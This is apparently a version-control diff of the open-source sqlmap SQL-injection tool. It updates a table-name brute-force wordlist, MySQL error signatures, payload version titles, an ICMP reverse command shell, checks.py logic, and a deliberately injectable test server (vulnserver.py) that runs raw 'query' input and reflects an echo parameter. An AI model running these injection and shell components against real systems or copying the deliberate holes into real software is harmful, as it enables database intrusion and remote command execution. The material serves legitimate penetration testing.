# See the file 'LICENSE' for copying permission
users
@@ -1618,6 +1618,7 @@ Contributor
flag
# Various Joomla tables
jos_vm_product_download
jos_vm_coupons
jos_vm_product_reviews
@@ -1711,6 +1712,7 @@ publicusers
cmsusers
# List provided by Anastasios Monachos ([email protected])
blacklist
cost
moves
@@ -1762,6 +1764,7 @@ TBLCORPUSERS
TBLCORPORATEUSERS
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
tbladmins
sort
_wfspro_admin
@@ -2048,6 +2051,7 @@ Login
Logins
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account
accnts
accnt
@@ -2117,6 +2121,7 @@ user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
wsop
Admin
Config
@@ -2437,9 +2442,11 @@ Affichage1name
sb_host_adminAffichage1name
# site:jp
TypesTab
# site:it
utenti
categorie
attivita
@@ -2581,6 +2588,7 @@ oil_stats_agents
SGA_XPLAN_TPL_DBA_INDEXES
# site:fr
Avion
departement
Compagnie
@@ -2751,6 +2759,7 @@ spip_ortho_dico
spip_caches
# site:ru
guestbook
binn_forum_settings
binn_forms_templ
@@ -2848,6 +2857,7 @@ binn_path_temps
order_item
# site:de
tt_content
kunde
medien
@@ -3010,6 +3020,7 @@ wp_categories
chessmessages
# site:br
endereco
pessoa
usuarios
@@ -3172,6 +3183,7 @@ LT_CUSTOM2
LT_CUSTOM3
# site:es
jos_respuestas
DEPARTAMENTO
EMPLEADO
@@ -3210,6 +3222,7 @@ grupo
facturas
# site:cn
url
cdb_adminactions
BlockInfo
@@ -3355,6 +3368,7 @@ mymps_mail_sendlist
mymps_navurl
# site:tr
kullanici
kullanicilar
yonetici
@@ -3401,6 +3415,7 @@ kontak
kontaklar
# List provided by Pedrito Perez ([email protected])
adminstbl
admintbl
affiliateUsers
@@ -3415,4 +3430,69 @@ userstbl
usertbl
# WebGoat
user_data
# https://laurent22.github.io/so-injections/
accounts
admin
baza_site
benutzer
category
comments
company
credentials
Customer
customers
data
details
dhruv_users
dt_tb
employees
events
forsale
friends
giorni
images
info
items
kontabankowe
login
logs
markers
members
messages
orders
order_table
photos
player
players
points
register
reports
rooms
shells
signup
songs
student
students
table
table2
tbl_images
tblproduct
testv2
tickets
topicinfo
trabajo
user
user_auth
userinfo
user_info
userregister
users
usuarios
utenti
wm_products
wp_payout_history
zamowienia
+1 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Opera
+2 -1
View File
@@ -7,13 +7,14 @@
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
</dbms>
<!-- PostgreSQL -->
+8 -8
View File
@@ -3,7 +3,7 @@
<root>
<!-- Stacked queries tests -->
<test>
<title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
@@ -19,12 +19,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries</title>
<title>MySQL &gt;= 5.0.12 stacked queries</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
@@ -39,12 +39,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
@@ -60,12 +60,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
@@ -80,7 +80,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
+12 -12
View File
@@ -169,7 +169,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>2</level>
<risk>2</risk>
@@ -184,12 +184,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>2</level>
<risk>3</risk>
@@ -204,12 +204,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
@@ -225,12 +225,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
@@ -246,7 +246,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
@@ -1506,7 +1506,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
<title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
@@ -1521,7 +1521,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
@@ -1861,7 +1861,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
@@ -1876,7 +1876,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
+5 -1
View File
@@ -3,7 +3,8 @@
<root>
<!-- MySQL -->
<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
@@ -242,6 +243,9 @@
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="RAWTOHEX(%s)"/>
<!--
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
-->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+1 -1
View File
@@ -2,7 +2,7 @@
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
Imagens
----
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+45 -42
View File
@@ -76,60 +76,63 @@ def main(src, dst):
decoder = ImpactDecoder.IPDecoder()
while True:
cmd = ''
try:
cmd = ''
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
except:
break
if __name__ == '__main__':
if len(sys.argv) < 3:
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Stress test against Python3
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# sudo pip install modernize
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
+2 -2
View File
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+60 -18
View File
@@ -3,20 +3,23 @@
"""
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import print_function
import json
import re
import sqlite3
import sys
import threading
import traceback
if sys.version_info >= (3, 0):
from http.client import FOUND
PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8"
if PY3:
from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND
from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
else:
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
from httplib import FOUND
from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND
from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return
if hasattr(self, "data"):
params.update(parse_qs(self.data))
if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else:
params.update(parse_qs(self.data))
for name in self.headers:
params[name.lower()] = self.headers[name]
if "cookie" in params:
for part in params["cookie"].split(';'):
part = part.strip()
if '=' in part:
name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip())
for key in params:
if params[key]:
if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1]
self.url, self.params = path, params
if self.url == '/':
if "id" not in params:
self.send_response(FOUND)
self.send_header("Connection", "close")
self.send_header("Location", "/?id=1")
self.end_headers()
else:
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
self.send_header("Content-type", "text/html")
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
else:
code, output = OK, ""
try:
if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"]
with _lock:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall()
output = "<b>SQL results:</b>\n"
output += "<b>SQL results:</b>\n"
output += "<table border=\"1\">\n"
for row in results:
output += "<tr>"
for value in row:
output += "<td>%s</td>" % value
output += "</tr>\n"
output += "</table>\n"
output += "</body></html>"
except Exception as ex:
code = INTERNAL_SERVER_ERROR
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
self.wfile.write(output.encode("utf8"))
self.send_response(code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
if self.raw_requestline.startswith(b"HEAD"):
self.send_header("Content-Length", str(len(output)))
self.end_headers()
else:
self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else:
self.send_response(NOT_FOUND)
self.send_header("Connection", "close")
@@ -145,11 +181,17 @@ class ReqHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.do_REQUEST()
def do_PUT(self):
self.do_REQUEST()
def do_HEAD(self):
self.do_REQUEST()
def do_POST(self):
length = int(self.headers.get("Content-length", 0))
if length:
data = self.rfile.read(length)
data = unquote_plus(data.decode("utf8"))
data = unquote_plus(data.decode(UNICODE_ENCODING))
self.data = data
self.do_REQUEST()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+5 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -181,7 +181,10 @@ def action():
raise
if conf.sqlQuery:
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip()
if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
+31 -8
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import joinValue
from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths
from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -73,6 +75,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX
@@ -152,7 +155,7 @@ def checkSqlInjection(place, parameter, value):
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -162,7 +165,7 @@ def checkSqlInjection(place, parameter, value):
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "level (%d)" % conf.level if conf.level < 5 else ""
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r"\A\w+\Z", candidate):
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
try:
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
except Exception as ex:
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True
@@ -924,6 +931,9 @@ def checkFalsePositives(injection):
randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3)
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1:
break
@@ -1098,6 +1108,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.warn(infoMsg)
kb.heuristicMode = True
kb.disableHtmlDecoding = True
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1117,6 +1128,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.info(infoMsg)
break
kb.disableHtmlDecoding = False
kb.heuristicMode = False
return kb.heuristicTest
@@ -1511,8 +1523,9 @@ def checkConnection(suppressOutput=False):
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
elif wasLastResponseDBMSError():
warnMsg = "there is a DBMS error found in the HTTP response body "
warnMsg += "which could interfere with the results of the tests"
@@ -1559,6 +1572,16 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while "
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
message += "Do you want to use those [Y/n] "
if readInput(message, default='Y', boolean=True):
kb.mergeCookies = True
conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
return True
def checkInternet():
+18 -23
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import parseTargetUrl
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import removePostHintPrefix
